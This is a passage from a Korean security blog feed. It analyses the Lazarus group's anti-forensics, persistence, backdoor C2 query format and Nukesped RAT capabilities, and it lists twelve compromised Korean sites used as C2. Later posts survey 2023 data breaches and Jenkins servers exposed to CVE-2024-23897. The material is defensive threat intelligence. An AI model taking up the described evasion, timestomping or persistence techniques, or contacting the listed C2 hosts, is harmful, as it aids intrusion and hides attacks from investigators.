<h3 id="암호화">암호화</h3>
<p>2023년 참고 문헌 당시 기준으로 라자루스 그룹은 사용할 악성코드를 3개로 구분하여 사용했다고 한다. </p>
<ul>
<li><code>Loader</code> : 암호화된 PE파일을 복호화하여 메모리에 로드</li>
<li><code>Encrypted PE</code> : 로더 메모리상에서 실행되는 악성코드로, 암호화된 설정 파일을 복호화하여 C2주소와 통신</li>
<li><code>Encrypted Config</code> : 암호화된 설정 파일로, C2정보가 포함된 파일</li>
</ul>
<p>보안 제품 탐지를 우회하기 위해 C2 정보가 포함된 설정 파일과 C2 통신을 수행하는 PE 파일은 암호화된 상태로 전달한다. 암호화된 파일들은 로더 파일에 의해 메모리에서 복호화돼 동작을 수행하며, C2로부터 추가 파일을 받아 악성 행위를 수행한다.
<img src="https://velog.velcdn.com/images/hae_to/post/49450626-2f8d-45c0-9c74-9d3002bfa2aa/image.png" alt="">ㄴ&gt;[그림 1] 라자루스 그룹이 사용하는 백도어 동작 과정</p>
<h3 id="다른-형태의-데이터-은닉">다른 형태의 데이터 은닉</h3>
<p>악성코드 은닉을 위해 시스템 폴더를 은닉장소로 사용하거나, 정상 파일명을 사칭해 사용했다. 악성코드 은닉을 위해 주로 사용하는 폴더는 시스템 기본 폴더로 폴더 하위에 유사한 폴더 생성해 사용하거나, 기본적으로 숨김 처리된 시스템 파일에 정상 파일처럼 위장해 악성코드를 은닉시켰다.</p>
<p>아래의 3가지가 대표적인 예시이다.</p>
<ul>
<li><strong>C:\ProgramData\</strong></li>
<li><strong>C:\ProgramData\Microsoft\</strong></li>
<li><strong>C:\Windows\System32\</strong></li>
</ul>
<p><strong>C:\ProgramData</strong> 폴더는 시스템 기본 폴더로 기본적으로 숨김 처리된 폴더이다. 해당 폴더에 시스템 기본 폴더명과 유사한 폴더(MicrosoftPackages)를 생성해 악성코드 은닉 장소로 사용하거나, 기본 폴더에 유사한 파일명으로 위장해 악성코드를 은닉했다.
<img src="https://velog.velcdn.com/images/hae_to/post/b19ed4fb-d80d-4756-a42a-23d1ab1f6af8/image.png" alt="">ㄴ&gt; [그림 2] 유사 폴더를 생성하여 악성코드 은닉 장소로 사용</p>
<p><img src="https://velog.velcdn.com/images/hae_to/post/3ba16299-cf6d-4e51-be7b-032289483e9d/image.png" alt="">ㄴ&gt; [그림 3] 기본 폴더명을 사칭한 악성코드 은닉</p>
<h3 id="파일-삭제">파일 삭제</h3>
<p>라자루스 그룹은 백도어 목적의 악성코드를 제외하고 사용했던 악성코드 및 악성 행위를 수행하는 동안 발생했던 아티팩트들을 삭제했다. 악성코드의 경우 데이터를 덮어씌운 후 파일명을 변경하여 삭제했다. 파일 삭제 시 데이터 부분을 덮어씌우게 되면, 파일 복원이나 데이터 카빙 기법을 통해 데이터 복구가 힘들어지기 때문에 원본 내용을 확인할 수 없게 된다.
<img src="https://velog.velcdn.com/images/hae_to/post/3bfc8af1-d496-4786-9a59-6744f3f05104/image.png" alt="">ㄴ&gt;  [그림 4] USNJrnl에서 확인한 악성코드 삭제 기록</p>
<p>또한, 악성코드 실행 관련 아티팩트 삭제 행위도 병행하여 수행했다. 예시로 응용프로그램 실행관련 아티팩트인 프리패치(Prefetch) 파일을 일괄 삭제함으로써 사용한 악성코드 실행 흔적을 삭제했다.
<img src="https://velog.velcdn.com/images/hae_to/post/66503415-2c4d-4ed1-b108-4868681f128f/image.png" alt="">ㄴ&gt; [그림 5] 프리패치 파일 일괄 삭제 기록</p>
<h3 id="시간-정보-조작">시간 정보 조작</h3>
<p>라자루스 그룹은 흔적 제거 과정을 통해 거의 모든 기록 및 사용했던 파일을 지웠으나, 유일하게 시스템에 남겨놓은 악성코드가 존재하는데 바로 백도어 악성코드다. 백도어 악성코드 특성상 존재를 들키지 않으며 장시간 시스템에 유지해야 하므로 라자루스 그룹은 피해 시스템에 생성한 악성코드의 시간 정보를 조작해 은닉시켰다.</p>
<p>시간 정보를 조작한 가장 큰 이유는 타임라인 분석을 회피하기 위한 목적이 가장 큰 것으로 보인다. 타임라인 분석이란 사건이 일어난 시점을 중심으로 생성/수정/삭제/접근한 파일을 추적하여 분석하는 기법을 말하는데 시간 정보를 조작할 경우 분석 과정에서 악성코드의 기록이 누락되어 분석의 방향을 교란하거나, 잘못된 판단을 하게 될 수 있다.</p>
<p>피해 시스템에서 발견된 악성코드와 시스템에 존재하는 일부 파일의 시간 정보가 완전히 일치하는 것을 확인할 수 있었다.
<img src="https://velog.velcdn.com/images/hae_to/post/f8b659ed-cfe9-4941-8088-30f74613690c/image.png" alt="">ㄴ&gt; [그림 6] 시스템 기본 파일(notepad.exe)과 악성코드(DapowSyncProvider.dll) 시간 정보 비교</p>
<p>해당 자료와 다른 자료를 분석한 결과 라자루스 그룹의 악성코드 시간 정보 조작 방식은 아래와 같이 정리할 수 있다.</p>
<ul>
<li>모든 악성코드의 시간 정보를 조작하지는 않는다.</li>
<li>시간 정보는 임의로 지정하는 것이 아닌 시스템 기본 파일의 시간 정보를 복사해 변경한다.</li>
<li>동일한 사건에서도 시간 조작이 발생한 시스템과 발생하지 않은 시스템이 있는 것을 보아 시간 변경은 선택 사항으로 보인다.</li>
<li>동일한 악성코드더라도 시간을 복사하는 시스템 파일의 대상이 다른 것을 보아 복사 대상을 선택할 수 있는 것으로 보인다.</li>
</ul>
<h3 id="안티포렌식-기법-요약">안티포렌식 기법 요약</h3>
<p>라자루스 그룹은 공격 과정에서 보안 프로그램의 탐지를 우회하기 위해 악성코드를 암호화하거나, 시스템 파일명으로 위장했으며, 분석을 방해하기 위해 파일의 시간 정보를 조작했다. 또한 실행 흔적을 삭제할 때도 데이터를 덮어씌우는 방법을 사용해 데이터 복구를 방해하는 등의 치밀한 행동을 보였다.</p>
<h3 id="2-취약점-이용">2. 취약점 이용</h3>
<ul>
<li><strong>VestCert 취약점 (CVE-2023-45698)</strong></li>
</ul>
<p>VestCert 2.36의 2.5.29 버전에서 발생하며, 제3자 모듈을 적절히 검증하지 않아 악의적인 코드를 실행할 수 있게 한다. 사용자가 취약한 버전을 설치한 상태로 악성 코드가 삽입된 웹사이트에 방문하면 PowerShell이 실행되고, 이를 통해 악성 프로그램이 다운로드되어 실행된다.</p>
<ul>
<li><strong>TCO!Stream 취약점 (CVE-2023-45799)</strong></li>
</ul>
<p>TCO!Stream은 자산 관리 소프트웨어로, 버전 8.0.22.1115 이하에서 권한 검증이 제대로 이루어지지 않아 공격자가 임의의 파일을 다운로드 및 실행할 수 있는 취약점이 존재한다. 공격자는 취약점을 이용해 악성 명령을 내려 시스템을 감염시킬 수 있다.</p>
<h3 id="피해-시스템-장악-과정"><strong>피해 시스템 장악 과정</strong></h3>
<ol>
<li><strong>내부 이동</strong></li>
</ol>
<p>공격자는 백도어를 이용해 내부 시스템 제어권을 획득하고, 추가 인프라를 장악한다.</p>
<aside>
💡

<p>내부 이동(lateral movement)을 수행하기 위해 사용한 원격 명령 기법</p>
<ul>
<li>WMIC 원격 명령 실행</li>
<li>TCO!Stream 취약점 (CVE-2023-45799 - 파일 다운로드 및 실행 취약점)</li>
<li>MagicLine4NX 취약점 (CVE-2023-45797 - 버퍼 오버플로우 취약점)</aside>

</li>
</ul>
<p>WMIC 원경 명령은 공격자가 관리자 계정(Administrator)을 이용해 실행했으며, 피해 시스템에는 네트워크 로그온(Logon Type 3) 성공 이력이 발생한다. 네트워크 로그온 이후, <code>C:\Windows\System32\</code>에 악성 파일이 생성된다. 해당 경로는 라자루스 공격 그룹이 악성파일 생성 시 많이 사용하는 경로다.
<img src="https://velog.velcdn.com/images/hae_to/post/fdad8d92-dd57-406b-b8b9-a9e9cc882f34/image.png" alt="">ㄴ&gt; [그림 7] WMIC 원격 명령 실행 시 발생하는 네트워크 로그온 이벤트 로그</p>
<ol>
<li><strong>백도어 생성</strong></li>
</ol>
<p>백도어 로더는 암호화된 백도어 파일을 읽어와 복호화하고 실행 중인 서비스에 인젝션되어 실행된다. 백도어는 PC 이름, 사용자 계정명, 국가, 운영체제(OS) 및 CPU 정보를 암호화해 C2에 POST 방식으로 전송한다.</p>
<p>다음은 백도어 악성코드가 사용하는 POST 쿼리 방식이다:</p>
<table>
<thead>
<tr>
<th>쿼리</th>
<th>기능</th>
</tr>
</thead>
<tbody><tr>
<td><code>table_nm=table_bVoice&amp;bbs_code=[랜덤 8byte]</code></td>
<td>셀 코드 받아올 때 사용</td>
</tr>
<tr>
<td><code>table_nm=table_community&amp;bbs_code=[랜덤 8byte]</code></td>
<td>C2 연결 가능여부 확인</td>
</tr>
<tr>
<td><code>table_nm=table_community&amp;bbs_code=[랜덤 8byte]&amp;content=[탈취정보]</code></td>
<td>사용자 PC 정보 탈취</td>
</tr>
</tbody></table>
<ol>
<li><strong>지속성 유지</strong></li>
</ol>
<p>공격자는 피해 시스템에 대한 백도어 지속성(persistence)을 유지하기 위해 자동 실행 메커니즘을 활용한다. Lazarus 그룹은 주로 정상 서비스 명으로 위장한 윈도우 서비스, 윈도우 보안 지원 공급자(SSP)의 보안 패키지에 백도어 로더 파일을 등록하는 기법을 많이 사용한다.</p>
<p>이 사례에서도 공격자는 피해 시스템에 지속성을 유지하기 위해 다음과 같은 서비스 및 패키지 등록했다. 서비스에 등록된 악성 파일은 로더 파일로, 백도어와 암호된 C2 설정 파일을 읽어 실행한다.</p>
<ul>
<li>서비스 이름: Windows Biometric Manager</li>
<li>서비스로 등록된 악성 파일 명: <em>wmiregmonsvclib.dll</em>, <em>srservicemonlib.dll</em>
<img src="https://velog.velcdn.com/images/hae_to/post/e5a13871-3349-4d77-876f-0698e3fd5abf/image.png" alt="">ㄴ&gt; [그림 8] 서비스에 등록된 악성 파일 wmiregmonsvclib.dll</li>
</ul>
<p><img src="https://velog.velcdn.com/images/hae_to/post/abc35d1f-cc5b-4bc8-a171-8f5c537d0e1a/image.png" alt="">ㄴ&gt; [그림 9] 서비스에 등록된 악성 파일 srservicemonlib.dll</p>
<p><img src="https://velog.velcdn.com/images/hae_to/post/e11e9b3e-4bd0-48b1-82e3-f9d147aac1c2/image.png" alt="">ㄴ&gt; [그림 10] 보안 패키지에 등록된 악성 파일 InternetMailBox.dll</p>
<ol>
<li><strong>C2 통신</strong></li>
</ol>
<p>다음은 C2로 활용된 국내 URL 목록이다:</p>
<table>
<thead>
<tr>
<th>No</th>
<th>URL</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td><a href="https://kkw119.com/advice/ad_prov.asp">https://kkw119.com/advice/ad_prov.asp</a></td>
</tr>
<tr>
<td>2</td>
<td><a href="https://tonginexp.com/Counter/bottom.asp">https://tonginexp.com/Counter/bottom.asp</a></td>
</tr>
<tr>
<td>3</td>
<td><a href="https://www.onlinepoomsae.com/board/notice_view28.asp">https://www.onlinepoomsae.com/board/notice_view28.asp</a></td>
</tr>
<tr>
<td>4</td>
<td><a href="https://www.gbus.tv/admin_mgr/board/adv_modify.asp">https://www.gbus.tv/admin_mgr/board/adv_modify.asp</a></td>
</tr>
<tr>
<td>5</td>
<td><a href="http://www.daehang.com/member/logout.asp">www.daehang.com/member/logout.asp</a></td>
</tr>
<tr>
<td>6</td>
<td><a href="https://www.camwise.co.kr/_include/_lib/board/write_ok.asp">https://www.camwise.co.kr/_include/_lib/board/write_ok.asp</a></td>
</tr>
<tr>
<td>7</td>
<td><a href="http://silver.inchangsilver.org/inc/board_txt_03.asp">http://silver.inchangsilver.org/inc/board_txt_03.asp</a></td>
</tr>
<tr>
<td>8</td>
<td><a href="https://www.gbus.tv/admin_mgr/board/adv_modify.asp">https://www.gbus.tv/admin_mgr/board/adv_modify.asp</a></td>
</tr>
<tr>
<td>9</td>
<td><a href="https://www.etongin.com/Counter/bottom.asp">https://www.etongin.com/Counter/bottom.asp</a></td>
</tr>
<tr>
<td>10</td>
<td><a href="https://www.kyungrok.com/admin/board/board_list.asp">https://www.kyungrok.com/admin/board/board_list.asp</a></td>
</tr>
<tr>
<td>11</td>
<td><a href="https://www.kyungrok.com/comuser/board/board1.asp">https://www.kyungrok.com/comuser/board/board1.asp</a></td>
</tr>
<tr>
<td>12</td>
<td><a href="https://www.ilyang.co.kr/admin/center/20131230/quick_down.asp">https://www.ilyang.co.kr/admin/center/20131230/quick_down.asp</a></td>
</tr>
</tbody></table>
<h3 id="2-원격-엑세스-트로이-목마---rat">2. 원격 엑세스 트로이 목마 - RAT</h3>
<h2 id="nukesped-malware">Nukesped Malware</h2>
<aside>
💡

<h3 id="nukesped의-주요-특징-및-기능">Nukesped의 주요 특징 및 기능</h3>
<ul>
<li><strong>정보 탈취</strong></li>
</ul>
<blockquote>
<p>→ 감염된 시스템에서 다양한 형태의 데이터를 수집
→ 로그인 자격 증명(사용자 이름과 비밀번호), 시스템 설정 정보, 네트워크 정보, 특정 파일
→ 키로깅(keylogging) 기능을 통해 사용자 입력을 기록하거나, 캡처하여 정보를 수집</p>
</blockquote>
<ul>
<li><strong>원격 제어</strong></li>
</ul>
<blockquote>
<p>→ 원격 제어 기능을 통해 공격자가 피해자의 컴퓨터를 조작 
→ 이를 통해 파일을 다운로드 및 업로드, 시스템 명령을 실행하며, 네트워크 트래픽을 모니터링하는 등 조작이 가능
→ 감염된 시스템에서 네트워크 내 다른 시스템으로 이동하거나, 추가 공격을 수행하는 피벗(pivot) 지점으로 사용할 수 있습니다.</p>
</blockquote>
<ul>
<li><strong>지속성 유지</strong></li>
</ul>
<blockquote>
<p>→ 감염 후에도 시스템에 지속적으로 머무르기 위해 다양한 기술을 사용
→ 예를 들어, 시스템 시작 시 자동으로 실행되도록 레지스트리를 변경하거나, 시스템 서비스로 등록하여 제거하기 어렵게 설정</p>
<p>→ 감염된 시스템이 재부팅되더라도 계속해서 활성화될 수 있도록 다양한 루트킷(Rootkit) 기법을 사용</p>
</blockquote>
<ul>
<li><strong>은폐 및 탐지 회피</strong></li>
</ul>
<blockquote>
<p>→ 다양한 탐지 회피 기법을 통합해 보안 소프트웨어나 분석 도구로부터 자신을 숨김
→ 코드 난독화(obfuscation)를 사용하여 분석을 어렵게 만들고, 보안 소프트웨어의 탐지를 우회하기 위한 조건부 실행 및 안티 디버깅(anti-debugging) 기법을 적용</p>
<p>→ 이 외에도, 특정 시스템 정보나 시간대를 확인하여 가상 머신(VM)이나 샌드박스 환경에서 실행될 때 비활성화되도록 하는 등의 기능이 포함</p>
</blockquote>
<ul>
<li><strong>파일 삭제 및 시스템 파괴</strong></li>
</ul>
<blockquote>
<p>→ 필요에 따라 데이터를 파괴 및 특정 파일을 삭제
→ 이 기능은 보통 공격의 흔적을 없애기 위해 사용되며, 공격이 끝난 후 자신을 감추거나 피해자의 시스템을 무력화하기 위해 활용</p>
</blockquote>
<aside>
💡

<h3 id="nukesped의-공격-과정">Nukesped의 공격 과정</h3>
</aside>

<ol>
<li>침투: 스피어 피싱 이메일이나 악성 웹사이트를 통해 Nukesped를 목표 시스템에 침투</li>
<li>초기 실행: 악성코드가 실행되면, 시스템 내 중요한 정보를 수집하고 공격 서버와 연결하여 명령 수신 설정</li>
<li>지속성 확보: 레지스트리 설정 변경 또는 루트킷 기술을 통해 시스템에 지속적으로 남아 있을 수 있도록 설정</li>
<li>명령 수신 및 공격: 공격자의 원격 명령을 통해 시스템을 제어하고, 필요한 데이터를 수집 및 추가 악성코드를 설치</li>
<li>데이터 탈취 또는 파괴: 최종 단계에서 민감한 데이터를 탈취하거나 시스템을 파괴하여 목표 달성</aside></li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[2023년 발생한 개인정보 유출 사고 조사]]></title>
            <link>https://velog.io/@hae_to/2023%EB%85%84-%EB%B0%9C%EC%83%9D%ED%95%9C-%EA%B0%9C%EC%9D%B8%EC%A0%95%EB%B3%B4-%EC%9C%A0%EC%B6%9C-%EC%82%AC%EA%B3%A0-%EC%A1%B0%EC%82%AC</link>
            <guid>https://velog.io/@hae_to/2023%EB%85%84-%EB%B0%9C%EC%83%9D%ED%95%9C-%EA%B0%9C%EC%9D%B8%EC%A0%95%EB%B3%B4-%EC%9C%A0%EC%B6%9C-%EC%82%AC%EA%B3%A0-%EC%A1%B0%EC%82%AC</guid>
            <pubDate>Thu, 22 May 2025 10:28:35 GMT</pubDate>
            <description><![CDATA[<h2 id="1-리본즈-reebonz---다크웹-개인정보-유출">1. 리본즈 (REEBONZ) - 다크웹 개인정보 유출</h2>
<ul>
<li><strong>사고 발생(확인) 날짜:</strong> 2023년 1월 6일 오후 3시경</li>
<li><strong>개요</strong>: 명품 온라인 쇼핑몰 ‘리본즈’를 사칭해 ‘물품구매 승인 완료’ 문자를 발송한 뒤 악성 애플리케이션을 설치 유도하여 스미싱 및 보이스피싱을 한 사례이다.</li>
<li><strong>상세 분석</strong>: 해당 스미싱 문자는 공통점이 보였는데, ‘[국제 발신]’으로 표시되거나, 결제된 금액이 ‘62만9,500원’으로 통일되어 있는 점이 확인되었다. 아래의 이미지 1은 실제 피해를 당한 사례들을 캡처한 이미지이다.
<img src="https://velog.velcdn.com/images/hae_to/post/61ee1461-518f-49a9-ad8f-b3297f65289f/image.png" alt=""></li>
<li><strong>유출 정보:</strong> 개인 정보 유출 (회원아이디[이메일], 암호화된 비밀번호[식별 및 암호 해독 불가능])</li>
<li><strong>[과징금, 과태료 부과 결과]</strong></li>
<li><em>위반내용:*</em> 안전조치의무 위반(접근통제, 암호화)</li>
<li><em>위반조항:*</em> 개인정보보호법 제29조</li>
<li><em>시정조치(안):*</em> 시정명령, 과징금(17,201만원), 과태로(420만원), 공표</li>
</ul>
<h2 id="2-골프존---랜섬웨어-감염으로-인한-개인정보-유출">2. 골프존 - 랜섬웨어 감염으로 인한 개인정보 유출</h2>
<ul>
<li><p><strong>사고 발생 날짜:</strong> 2023년 11월 22일~2023년 11월 23일</p>
</li>
<li><p><strong>개요:</strong> 랜섬웨어 공격으로 골프존의 내부 파일 서버가 해킹당하며 개인정보가 유출되었다. 코로나 19 팬데믹으로 인해 재택근무를 위한 가설사설망(이하 VPN)을 도입했으나 이로 인해 민감한 개인정보가 유출되었다. 아래의 이미지2는 골프존의 피해 과정을 도식화한 것이다.
<img src="https://velog.velcdn.com/images/hae_to/post/aef78908-d7dc-4ff7-9fa1-afdd511cd289/image.png" alt=""></p>
</li>
<li><p><strong>상세 분석:</strong> 해커들이 VPN의 보안 취약점을 통해서 서버 관리자 계정에 접근했다. 골프존의 파일 서버에는 암호화되지 않은 개인정보가 다량으로 저장되어 있었으며 보안 설정이 제대로 되지 않았으며 추가적로 주기적인 보안 점검이 이루어지지 않았으며 기한이 만료된 데이터 또한 파기되지 않았다. 또한 사고 발생 이후 고객들에게 통보하는데 3주가 소요 되었고, 초기에 개인정보 유출 사실을 부인하며 대응의 신속성과 투명성이 부족한 모습을 보였다.</p>
</li>
<li><p><strong>유출 정보:</strong> 약 221만 명의 서비스 이용자 및 임직원의 개인정보(이름, 전화번호, 이메일, 생년월일, 아이디 등) 유출 되었으며 추가로 5,831명의 피해자의 주민등록번호, 1,647명의 피해자는 계좌번호가 유출되었다. 또한 이 유출된 정보에는 탈퇴한 회원의 정보와 퇴사한 임직원의 정보 또한 포함되었다.</p>
</li>
<li><p><strong>과징금, 과태료 부과 결과:</strong> 이후 추가적인 보안 조치를 했으나, 초기 대응이 미흡했으며 개인정보보호법 개정 후 첫 사례이기에, 위반 행위와 관련된 매출액이 아닌 전체 매출액의 3%를 기준으로 과징금이 책정되어 75억 400만 원의 과징금이 부과되었다. 또 개인정보 파기 의무를 준수하지 않은 것에 대해 540만 원의 과태료가 부과되었다.</p>
</li>
</ul>
<h2 id="3-잡플래닛---다크웹-개인정보-유출">3. 잡플래닛 - 다크웹 개인정보 유출</h2>
<ul>
<li><p><strong>사고 발생(확인) 날짜:</strong> 2023년 12월 2일</p>
</li>
<li><p><strong>개요</strong>: ‘Loser’라는 닉네임을 사용하는 해커가 12월 2일 다크웹에 ‘JOBPLANET.CO.KR 380K EMPLOYMENT SEEKERS DATABASE’라는 이름으로 샘플 자료를 공개했다. 공개한 샘플 데이터에는 이름, 이메일, 비밀번호, 주민등록번호, 생년월일, 전화번호’로 구성되어 있다. 해커는 샘플 자료의 공유와 함께 다크웹 네트워크 기반 메신저인 톡스(tox) ID, 텔레그램 아이디를 공개하기도 했다. 아래의 이미지 3은 해커가 다크웹에 실제 공개한 데이터 일부분을 캡처한 것이다.
<img src="https://velog.velcdn.com/images/hae_to/post/178d85b6-de22-4c5c-a87e-209bebcb8011/image.png" alt=""></p>
</li>
<li><p><strong>상세 분석</strong> : 해당 사례는 아주 오래전에 가입된 사용자의 데이터 또는 가짜 데이터(Fake Data)라는 의견이 존재한다. 일단, 해당 유출된 데이터 중에는 이미 통신 서비스가 종료된 삐삐 번호인 012, 015등이 포함되어 있는 등 현재 대한민국 사람들이 사용하지 않는 번호 구성을 가지고 있다. 또한, ‘잡플래닛’ 서비스 운영사인 ‘브레인커머스’는 주민등록번호를 수집하지 않으며, 암호화된 개인정보는 해킹이 불가능한 구조이고 제일 중요한 조사 결과 로그 상에서 해킹을 시도했거나 성공했다는 기록이 확인되지 않았다고 발표를 한 만큼 해당 다크웹에 올라온 데이터가 가짜 데이터일 확률이 높다.</p>
</li>
<li><p><strong>유출 정보:</strong> 잡플래닛 가입 회원 개인정보 데이터 (가짜 데이터 의심)</p>
</li>
<li><p><strong>과징금, 과태료 부과 결과:</strong> 없음 (확인되지 않음)</p>
</li>
</ul>
<hr>
<ul>
<li>이미지 출처(위에서부터)</li>
<li><blockquote>
<p>리본즈 사칭 피싱 문자 관련 온라인 지식인 문의들 [이미지=네이버 지식인]</p>
</blockquote>
</li>
<li><blockquote>
<p> 골프존 자료 유출 사건 [자료=개인정보보호위원회]</p>
</blockquote>
</li>
<li><blockquote>
<p>잡플래닛 회원 정보로 추정되는 데이터를 유출했다고 주장했다[자료=다크웹], 보안뉴스</p>
</blockquote>
</li>
<li>이외 참고자료</li>
<li><blockquote>
<p>사고 조사
<a href="https://www.pipc.go.kr/np/cop/bbs/selectBoardList.do?bbsId=BS074&amp;mCode=C020010000">https://www.pipc.go.kr/np/cop/bbs/selectBoardList.do?bbsId=BS074&amp;mCode=C020010000</a></p>
</blockquote>
</li>
<li><blockquote>
<p>리본즈
<a href="https://www.reebonz.co.kr/page/apologize">https://www.reebonz.co.kr/page/apologize</a>
<a href="https://m.boannews.com/html/detail.html?tab_type=1&amp;idx=117228">https://m.boannews.com/html/detail.html?tab_type=1&amp;idx=117228</a>
<a href="https://www.boannews.com/media/view.asp?idx=119136">https://www.boannews.com/media/view.asp?idx=119136</a>
<a href="https://m.megaeconomy.co.kr/news/newsview.php?ncode=1065589724747057">https://m.megaeconomy.co.kr/news/newsview.php?ncode=1065589724747057</a></p>
</blockquote>
</li>
<li><blockquote>
<p>골프존
<a href="https://zdnet.co.kr/view/?no=20231215134449">https://zdnet.co.kr/view/?no=20231215134449</a>
<a href="https://www.pipc.go.kr/np/cop/bbs/selectBoardArticle.do?bbsId=BS074&amp;mCode=C020010000&amp;nttId=10158">https://www.pipc.go.kr/np/cop/bbs/selectBoardArticle.do?bbsId=BS074&amp;mCode=C020010000&amp;nttId=10158</a>
<a href="https://m.boannews.com/html/detail.html?idx=129668">https://m.boannews.com/html/detail.html?idx=129668</a></p>
</blockquote>
</li>
<li><blockquote>
<p>잡플래닛
<a href="https://m.boannews.com/html/detail.html?idx=124496">https://m.boannews.com/html/detail.html?idx=124496</a>
<a href="https://m.boannews.com/html/detail.html?idx=124455">https://m.boannews.com/html/detail.html?idx=124455</a></p>
</blockquote>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[IP 검색엔진을 활용한 취약한 웹 사이트 정보 수집]]></title>
            <link>https://velog.io/@hae_to/IP-%EA%B2%80%EC%83%89%EC%97%94%EC%A7%84%EC%9D%84-%ED%99%9C%EC%9A%A9%ED%95%9C-%EC%B7%A8%EC%95%BD%ED%95%9C-%EC%9B%B9-%EC%82%AC%EC%9D%B4%ED%8A%B8-%EC%A0%95%EB%B3%B4-%EC%88%98%EC%A7%91</link>
            <guid>https://velog.io/@hae_to/IP-%EA%B2%80%EC%83%89%EC%97%94%EC%A7%84%EC%9D%84-%ED%99%9C%EC%9A%A9%ED%95%9C-%EC%B7%A8%EC%95%BD%ED%95%9C-%EC%9B%B9-%EC%82%AC%EC%9D%B4%ED%8A%B8-%EC%A0%95%EB%B3%B4-%EC%88%98%EC%A7%91</guid>
            <pubDate>Thu, 15 May 2025 09:17:29 GMT</pubDate>
            <description><![CDATA[<h3 id="한국-내-jenkins-서버-현황-및-사이버-보안-위협-분석">한국 내 Jenkins 서버 현황 및 사이버 보안 위협 분석</h3>
<h3 id="--목적"><strong>- 목적</strong></h3>
<ul>
<li>이 보고서는 한국 내 설치된 Jenkins 서버의 보안 상태를 <strong>분석</strong>하고, 주요 취약점(CVE-2024-23897 등)에 <strong>노출된 서버 현황</strong>을 파악하여, 시스템 전반의 <strong>보안 강화 대책 제안</strong>을 목표로 한다.</li>
<li>특히, Jenkins 서버의 <strong>취약한 구성</strong>과 <strong>보안 패치 미적용</strong>으로 이에 따라 발생할 수 있는 보안 위협을 집중적으로 분석한다.</li>
</ul>
<h3 id="--배경"><strong>- 배경</strong></h3>
<ul>
<li><strong>Jenkins</strong>는 DevOps 환경에서 <strong>지속적 통합(CI)</strong> 및 <strong>지속적 배포(CD)</strong> 자동화를 지원하는 <strong>글로벌 표준 도구</strong>로 널리 사용된다.</li>
<li>그러나, <strong>잘못된 구성</strong>과 <strong>패치 미적용</strong>은 사이버 공격에 쉽게 노출될 수 있는 환경을 만들며, 이는 <strong>원격 코드 실행(RCE)</strong> 등의 심각한 보안 문제를 초래할 수 있다.</li>
<li>최근 한국의 <strong>Jenkins 서버 다수</strong>가 주요 취약점에 노출된 것으로 확인, 이러한 취약점은 국가 및 기업에 심각한 <strong>사이버 보안 위협</strong>을 가중하고 있다.</li>
</ul>
<h2 id="--data-collection-methodology"><strong>- Data Collection Methodology</strong></h2>
<ul>
<li><strong>데이터 출처</strong><ul>
<li><code>Shodan</code>과 <code>Criminal IP</code>와 같은 인터넷 스캔 도구로 수집한 데이터를 바탕으로 작성되었다.</li>
<li><code>product: Jenkins country: KR</code>와 같은 특정 검색 쿼리를 사용하여 한국 내 Jenkins 서버의 노출 현황을 분석하였다.</li>
</ul>
</li>
<li><strong>사용된 도구</strong><ul>
<li><strong>Shodan</strong>: Jenkins 서버 탐지</li>
<li><strong>CVE 데이터베이스</strong>: Jenkins 버전 분석 및 취약점 데이터 활용</li>
</ul>
</li>
</ul>
<h2 id="--findings"><strong>- Findings</strong></h2>
<p><strong>1. 총 서버 수</strong></p>
<pre><code>한국 Jenkins 서버 총 8,981개 중, 심각한 취약점에 노출된 서버 `1,662개`

&lt;2024.09.12 - PM 기준&gt;</code></pre><p><img src="https://velog.velcdn.com/images/hae_to/post/b72af83f-fdd1-4dd1-97d9-ff07bfd368ad/image.png" alt=""></p>
<p><strong>2. 실행 되고 있는 서버 수</strong></p>
<pre><code>한국 Jenkins 서버 총 3,265개 중, 심각한 취약점에 노출된 서버 `1,660개`

&lt;2024.09.12 - AM 기준&gt;</code></pre><p><img src="https://velog.velcdn.com/images/hae_to/post/4e68604d-7d75-402d-8689-e6e203824061/image.png" alt=""></p>
<ul>
<li><strong>총 서버 수</strong>: 한국 내 <strong>3,268</strong>개의 Jenkins 서버가 발견되었다.</li>
<li><strong>취약한 서버 수</strong>: 이 중 <strong>1,660</strong>개의 서버는 <strong>CVE-2024-23897</strong> 포함, 심각한 취약점에 노출되어 있다.<ul>
<li><a href="https://asec.ahnlab.com/en/83027/">oai_citation:5,Jenkins Servers in Korea With Exposed Vulnerabilities (CVE-2024-23897, CVE-2024-43044) - ASEC</a></li>
<li><a href="https://asec.ahnlab.com/en/82348/">oai_citation:6,Jenkins Product Security Update Advisory (CVE-2024-43044) - ASEC</a></li>
</ul>
</li>
</ul>
<p><strong>3. Vulnerability Analysis</strong></p>
<ul>
<li><strong>CVE-2024-23897</strong>: Jenkins에서 발견된 원격 코드 실행(RCE) 취약점으로, 공격자가 원격에서 악성 코드를 실행하거나 중요한 파일을 탈취할 수 있도록 허용한다. 특히, Jenkins 명령어 분석 도구인 <strong>Args4j</strong> 라이브러리에서 발생하는 특정 취약점으로 인해 악의적인 파일 경로를 지정하여 해당 파일을 읽어오는 공격이 가능하다.<ul>
<li>주요 피해 사례: SSH 키 파일, Jenkins 암호화 키 등</li>
</ul>
</li>
<li><strong>CVE-2024-43044</strong>: Jenkins의 <strong>Remoting 라이브러리</strong>에서 발생하는 취약점이며, 에이전트와 서버 간 통신 과정에서 파일 경로를 검증하지 않아, 공격자가 서버의 파일을 임의로 읽을 수 있게 한다.<ul>
<li><a href="https://blog.criminalip.io/2024/08/22/cve-2024-43044/">oai_citation:4,CVE-2024-43044: A Critical RCE Vulnerability in Jenkins With 80,000 Exposed Devices Found</a></li>
</ul>
</li>
</ul>
<p><strong>4. 주요 포트 및 버전</strong></p>
<ul>
<li><strong>노출된 포트</strong>: 가장 많이 사용되는 포트는 <strong><code>8080</code></strong>이며, 기본적으로 Jenkins 서버가 외부에 노출되는 포트이다. 그 외에도 <strong>443</strong>(SSL), <strong>9090</strong> 등이 자주 사용된다.</li>
<li><strong>취약한 버전</strong>: 주로 사용 중인 취약한 <code>Jenkins 버전은 **2.346.3**, **2.263.3**, **2.319.2**</code> 등으로, 이 버전들은 최근 보안 업데이트를 적용하지 않은 상태이다.</li>
</ul>
<p><strong>5. 노출된 기관</strong></p>
<ul>
<li><strong><code>AWS 아시아 태평양(서울) 리전</code></strong>: 약 <strong>1,304</strong>개의 서버가 이 리전을 통해 운영 중이며, 대부분 취약한 상태로 노출되어 있다.</li>
